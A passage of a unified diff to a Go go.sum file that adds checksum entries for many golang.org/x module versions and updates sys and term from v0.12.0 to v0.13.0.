h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= +golang.org/x/net v0.4.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= +golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= +golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= +golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= +golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= golang.org/x/net v0.15.0 h1:ugBLEUaxABaB5AJqW9enI0ACdci2RUd4eP51NTBvuJ8= golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= @@ -626,7 +1653,32 @@ golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4Iltr golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.0.0-20220309155454-6242fa91716a/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= +golang.org/x/oauth2 v0.0.0-20220608161450-d0670ef3b1eb/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= +golang.org/x/oauth2 v0.0.0-20220622183110-fd043fe589d2/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= +golang.org/x/oauth2 v0.0.0-20220822191816-0ebed06d0094/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.0.0-20220909003341-f21342109be1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.0.0-20221006150949-b44042a4b9c1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.0.0-20221014153046-6fdb5e3db783/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= +golang.org/x/oauth2 v0.4.0/go.mod h1:RznEsdpjGAINPTOF0UH/t+xJ75L18YO3Ho6Pyn+uRec= +golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= +golang.org/x/oauth2 v0.6.0/go.mod h1:ycmewcwgD4Rpr3eZJLSB4Kyyljb3qDh40vJ8STE5HKw= +golang.org/x/oauth2 v0.7.0/go.mod h1:hPLQkd9LyjfXTiRohC/41GhcFqxisoUQ99sCUOHO9x4= +golang.org/x/oauth2 v0.8.0/go.mod h1:yr7u4HXZRm1R1kBWqr/xKNqewf0plRYoB7sla+BCIXE= +golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -638,6 +1690,14 @@ golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220601150217-0de741cfad7f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220819030929-7fc1605a5dde/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220929204114-8fcdb60fdcc0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.2.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -655,8 +1715,11 @@ golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -680,23 +1743,84 @@ golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200826173525-f9321e4c35a6/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210304124612-50617c2ba197/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211019181941-9d821ace8654/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220209214540-3681064d5158/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220610221304-9f5ed59c137d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220615213510-4f61da869c0c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220624220833-87e55d714810/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220829200755-d48e67d00261/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o= +golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= +golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.12.0 h1:/ZfYdc3zq+q02Rv9vGqTeSItdzZTSNDmfTi0mBAuidU= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc= +golang.org/x/term v0.3.0/go.mod h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA= +golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= +golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY= +golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= +golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU= golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= +golang.org/x/term v0.13.0 h1:bb+I9cTfFazGW51MZqBVmZy7+JEJMouUHTUSKVQLBek= +golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -706,6 +1830,14 @@ golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= +golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.5.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= @@ -713,9 +1845,14 @@ golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxb golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20201208040808-7e3f01d25324/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20220922220347-f3bd1da661af/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.1.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20180525024113-a5b4c53f6e8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190206041539-40960b6deb8e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= @@ -730,7 +1867,9 @@ golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgw golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190823170909-c4a336ef6a2f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190927191325-030b2cf1153e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 